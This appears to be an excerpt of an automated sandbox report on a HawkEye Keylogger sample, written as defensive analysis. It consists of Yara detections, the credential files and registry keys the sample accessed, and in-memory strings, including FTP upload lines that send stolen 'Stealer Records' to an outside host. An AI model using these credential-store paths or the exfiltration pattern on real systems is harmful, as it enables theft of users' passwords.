              Source: Yara matchFile source: 6.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.18.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.32694d0.11.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.10.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.22.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.13.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.19.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.15.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.23.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.32694d0.11.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.14.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.409c0d.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.9.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.20.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.40cb1b0.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.45fa72.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.5438e45.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.19.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.0.vbc.exe.400000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.17.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.408208.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.12.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.14.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.25.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.9.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.24.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.24.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.548ecaa.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.5437440.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.41cc3d0.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000000.469531152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000000.469096396.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000000.470024766.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: name.exe PID: 1464, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: name.exe PID: 1124, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: vbc.exe PID: 2396, type: MEMORYSTR
              Yara detected HawkEye Keylogger
              Source: Yara matchFile source: 5.0.name.exe.400000.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.18.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.10.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.22.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.13.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.19.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.15.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.23.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.409c0d.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.9.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.20.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.40cb1b0.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.45fa72.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.5438e45.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.17.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.408208.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.12.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.14.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.25.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.24.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.548ecaa.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.5437440.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.41cc3d0.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000002.699824539.00000000022C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: name.exe PID: 1464, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: name.exe PID: 1124, type: MEMORYSTR
              Tries to steal Mail credentials (via file / registry access)
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeKey opened: HKEY_CURRENT_USER\Identities\{56EE7341-F593-4666-B32B-0DA2F15C6755}\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\ProfilesJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live MailJump to behavior
              Tries to steal Mail credentials (via file registry)
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: strcpy,strcpy,strcpy,strcpy,RegCloseKey, PopPassword6_2_00402D9A
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: strcpy,strcpy,strcpy,strcpy,RegCloseKey, SMTPPassword6_2_00402D9A
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeCode function: ESMTPPassword6_2_004033D7
              Searches for Windows Mail specific files
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail <.oeaccountJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail unknownJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail *Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail unknownJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup *Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup unknownJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new *Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new unknownJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery *Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Stationery unknownJump to behavior
              Tries to harvest and steal browser information (history, passwords, etc)
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\places.sqliteJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.dbJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.dbJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.dbJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.dbJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.dbJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeFile opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\7xwghk55.default\cert7.dbJump to behavior
              Yara detected WebBrowserPassView password recovery tool
              Source: Yara matchFile source: 5.2.name.exe.409c0d.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.vbc.exe.400000.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.vbc.exe.400000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.18.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.13.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.20.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.8.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.10.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.22.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.13.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.15.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.23.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.5438e45.6.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.23.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.32694d0.11.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.409c0d.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.20.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.40cb1b0.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.5438e45.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.17.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.408208.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.12.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.25.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.32816f0.10.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.vbc.exe.400000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.548ecaa.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.vbc.exe.400000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 7.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.5437440.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.32816f0.10.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.41cc3d0.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000007.00000000.471555065.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000002.700393711.0000000003261000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.472980642.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000000.473273720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: name.exe PID: 1464, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: name.exe PID: 1124, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: vbc.exe PID: 3008, type: MEMORYSTR
              Tries to steal Instant Messenger accounts or passwords
              Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\AccountsJump to behavior

              Remote Access Functionality

              barindex
              Yara detected HawkEye Keylogger
              Source: Yara matchFile source: 5.0.name.exe.400000.7.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.18.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.10.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.22.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.13.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.19.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.15.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.23.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.409c0d.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.9.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.20.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.40cb1b0.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.45fa72.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.5438e45.6.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.17.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.2.name.exe.408208.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.409c0d.8.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.400000.12.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.14.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.408208.25.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 5.0.name.exe.45fa72.24.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.548ecaa.7.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.5437440.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.name.exe.41cc3d0.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000005.00000000.448612748.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.449910135.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000002.699824539.00000000022C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000005.00000000.449087372.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: name.exe PID: 1464, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: name.exe PID: 1124, type: MEMORYSTR
              Detected HawkEye Rat
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: \pidloc.txt!HawkEyeKeylogger
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: Installed Firewall: MHawkEye_Keylogger_Execution_Confirmed_.txtUHawkEye Keylogger | Execution Confirmed |
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: ==============================================EHawkEye_Keylogger_Stealer_Records_MHawkEye Keylogger | Stealer Records |
              Source: name.exe, 00000004.00000002.455785056.0000000003CE9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: .jpegCHawkEye_Keylogger_Keylog_Records_
              Source: name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: \pidloc.txt!HawkEyeKeylogger
              Source: name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: Installed Firewall: MHawkEye_Keylogger_Execution_Confirmed_.txtUHawkEye Keylogger | Execution Confirmed |
              Source: name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: ==============================================EHawkEye_Keylogger_Stealer_Records_MHawkEye Keylogger | Stealer Records |
              Source: name.exe, 00000004.00000002.458937957.0000000005431000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: .jpegCHawkEye_Keylogger_Keylog_Records_
              Source: name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: \pidloc.txt!HawkEyeKeylogger
              Source: name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: Installed Firewall: MHawkEye_Keylogger_Execution_Confirmed_.txtUHawkEye Keylogger | Execution Confirmed |
              Source: name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: ==============================================EHawkEye_Keylogger_Stealer_Records_MHawkEye Keylogger | Stealer Records |
              Source: name.exe, 00000005.00000000.450450608.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: .jpegCHawkEye_Keylogger_Keylog_Records_
              Source: name.exe, 00000005.00000002.700187666.00000000026EF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: lAHawkEye_Keylogger_Stealer_Records_082561 2.14.2022 8:37:42 AM.txt
              Source: name.exe, 00000005.00000002.700187666.00000000026EF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: laftp://ftp.manchutimefashion.com/HawkEye_Keylogger_Stealer_Records_082561 2.14.2022 8:37:42 AM.txt
              Source: name.exe, 00000005.00000002.700187666.00000000026EF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: ftp://ftp.manchutimefashion.com/HawkEye_Keylogger_Stealer_Records_082561%202.14.2022%208:37:42%20AM.txt
              Source: name.exe, 00000005.00000002.700187666.00000000026EF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: lgftp://ftp.manchutimefashion.com/HawkEye_Keylogger_Stealer_Records_082561%202.14.2022%208:37:42%20AM.txt
              Source: name.exe, 00000005.00000002.700187666.00000000026EF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: lAHawkEye_Keylogger_Stealer_Records_082561 2.14.2022 8:37:42 AM.txt0w
              Source: name.exe, 00000005.00000002.700187666.00000000026EF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: lHSTOR HawkEye_Keylogger_Stealer_Records_082561 2.14.2022 8:37:42 AM.txt
              Source: name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: \pidloc.txt!HawkEyeKeylogger
              Source: name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: Installed Firewall: MHawkEye_Keylogger_Execution_Confirmed_.txtUHawkEye Keylogger | Execution Confirmed |
              Source: name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: ==============================================EHawkEye_Keylogger_Stealer_Records_MHawkEye Keylogger | Stealer Records |
              Source: name.exe, 00000005.00000002.699473681.0000000000402000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: .jpegCHawkEye_Keylogger_Keylog_Records_
              Source: name.exe, 00000005.00000002.700195593.00000000026F9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: STOR HawkEye_Keylogger_Stealer_Records_082561 2.14.2022 8:37:42 AM.txt
              Source: name.exe, 00000005.00000002.700195593.00000000026F9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: lHSTOR HawkEye_Keylogger_Stealer_Records_082561 2.14.2022 8:37:42 AM.txt
              Source: name.exe, 00000005.00000002.699824539.00000000022C5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: l&HawkEye_Keylogger_Execution_Confirmed_
              Source: name.exe, 00000005.00000002.699824539.00000000022C5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: l"HawkEye_Keylogger_Stealer_Records_
              Source: name.exe, 00000005.00000002.699777941.0000000002261000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: HawkEyeKeylogger

              Mitre Att&ck Matrix

              Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
              1
              Replication Through Removable Media              		1
              Windows Management Instrumentation              		Path Interception411
              Process Injection              		1
              Disable or Modify Tools              		1
              OS Credential Dumping              		1
              System Time Discovery              		1
              Replication Through Removable Media              		11
              Archive Collected Data              		1
              Exfiltration Over Alternative Protocol              		4
              Ingress Tool Transfer              		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
              Default Accounts11
              Native API              		Boot or Logon Initialization ScriptsBoot or Logon Initialization Scripts11
